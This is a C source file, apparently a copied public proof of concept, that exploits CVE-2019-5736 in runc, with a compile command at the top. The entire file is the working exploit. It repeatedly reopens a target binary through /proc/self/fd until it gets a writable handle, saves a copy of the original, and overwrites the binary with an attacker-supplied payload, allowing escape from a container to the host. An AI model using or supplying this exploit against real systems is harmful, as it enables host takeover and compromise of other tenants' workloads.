// From https://github.com/feexd/pocs/blob/master/CVE-2019-5736/exploit.c
//
// gcc -O3 -Wno-unused-result --static CVE-2019-5736.c -o CVE-2019-5736.x64.bin

#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

#define PAYLOAD_MAX_SIZE 1048576
#define O_PATH 010000000
#define SELF_FD_FMT "/proc/self/fd/%d"
#define BUFSIZE 10000

int main(int argc, char **argv) {
    int fd, fileout, i, j;
	char *payload, dest[512];
    int count;
    char buffer[BUFSIZE];

    payload = malloc(PAYLOAD_MAX_SIZE);
    if (payload == NULL) return -1;

    FILE *f = fopen(argv[2], "r");
    if (f == NULL) return -1;
    int payload_sz = fread(payload, 1, PAYLOAD_MAX_SIZE, f);

    if ((fileout = open(argv[3], O_WRONLY| O_CREAT, 0644)) < 0)
        return -1;

    for (j = 0; j < 9999999; j++) {
        fd = open(argv[1], O_PATH);
        if (fd >= 0) {
            snprintf(dest, 500, SELF_FD_FMT, fd);
            for (i = 0; i < 9999999; i++) {
                fd = open(dest, O_RDWR);
                if (fd >= 0) {
                    while ((count = read(fd, buffer, BUFSIZE)) > 0) {
                      write(fileout, buffer, count);
                    }
                    close(fileout);
                    lseek(fd, 0L, SEEK_SET) ;
                    write(fd, payload, payload_sz);
                    close(fd);
                    break;
                }
            }
            break;
        }
    }
    return 0;
}
